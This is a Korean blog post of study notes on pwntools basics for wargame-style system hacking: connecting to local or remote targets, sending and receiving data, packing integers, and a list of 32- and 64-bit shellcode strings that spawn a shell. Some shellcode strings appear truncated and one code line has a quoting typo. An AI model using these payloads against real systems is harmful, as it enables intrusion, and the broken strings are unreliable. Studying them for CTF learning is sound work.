chipkkang9's story

Pwntools 기본 사용법 정리 본문

Hacking/System Hacking

Pwntools 기본 사용법 정리

chipkkang 2022. 2. 9. 16:29

본 문서는 시스템 해킹을 공부하며 여러 블로그를 보고 정리한 문서입니다.

설치 방법

터미널에서 설치

sudo apt-get install python2.7-dev python-pip
pip install pwntools
sudo apt-get install libcapstone-dev

명령어 정리

접속 - process / remote / ssh

process 함수는 로컬 바이너리에 대해 익스플로잇할 때 사용하는 함수,

remote 함수는 원격 서버를 대상으로 익스플로잇할 때 사용하는 함수,

ssh 함수는 ssh를 통해서 접속하는 함수이다.

from pwn import *

p = process('./test') # process(filename)
p = remote('dreamhack.com', 0621) #remote(host, port)
p = ssh("fd", "pwnable.kr", 0621) #ssh(user, host, port, password)

p.close() #process close

페이로드 보내기

from pwn import *
p = process('./test')

p.send('A') #./test에 A 입력
p.sendline('A') #./test에 'A'입력 뒤에 newline character(\\n)까지 입력
p.sendafter('asdf', 'A') #./test가 'asdf'를 출력할 시, 'A' 입력
p.sendlineafter('asdf', A') #./test가 'asdf'를 출력할 시, 'A'+'\\n'를 입력

데이터 받기

from pwn import *
p = process('./test')

data = p.recv(1024) #p가 출력하는 데이터 중 최대 1024바이트의 데이터를 받아서 data에 저장
data = p.recvline() #p가 출력하는 데이터 중 개행문자를 마날 때까지를 data에 저장
p.recvn(5) #p가 출력하는 데이터 중 정확히 5바이트 받아서 data에 저장
print p.recvuntil('asdf') #'asdf'라는 문자열을 p가 출력할 때까지 받아서 출력
print p.recvall() #연결이 끊어지거나 프로세스가 종료될 때가지 받아서 data에 저장

패킹과 언패킹

대부분의 CPU는 little endian 방식을 이용한다.

from pwn import *

data32 = 0x41424344
data64 = 0x4142434445464748

print p32(data32) #DCBA
print p64(data64) #HGFEDCBA

data32 = "ABCD"
data64 = "ABCDEFGH"

print hex(u32(data32)) #0x44434241
print hex(u64(data64)) #0x4847464544434241

 

Shellcode(쉘코드) 모음

32bit shellcode

(1) 6 Bytes Shell Code

“\x31\xc0\xb0\x01\xcd\x80”

(2) 25 Bytes Shell Code (기본 쉘코드)

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0”

(3) 26 Bytes Shell Code (scanf 우회 쉘코드)

“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80”

(4) 41 Bytes Shell Code (setreuid(geteuid(), getreuid()) 포함)

“\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”

(5) 48 Bytes Shell Code (\x2f가 없는 쉘코드)

“\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”

64bit shellcode

(1) 23 Bytes Shell Code (기본 쉘코드)

“\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x0”

(2) 31 Bytes Shell Code

“\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05”

 

 

Comments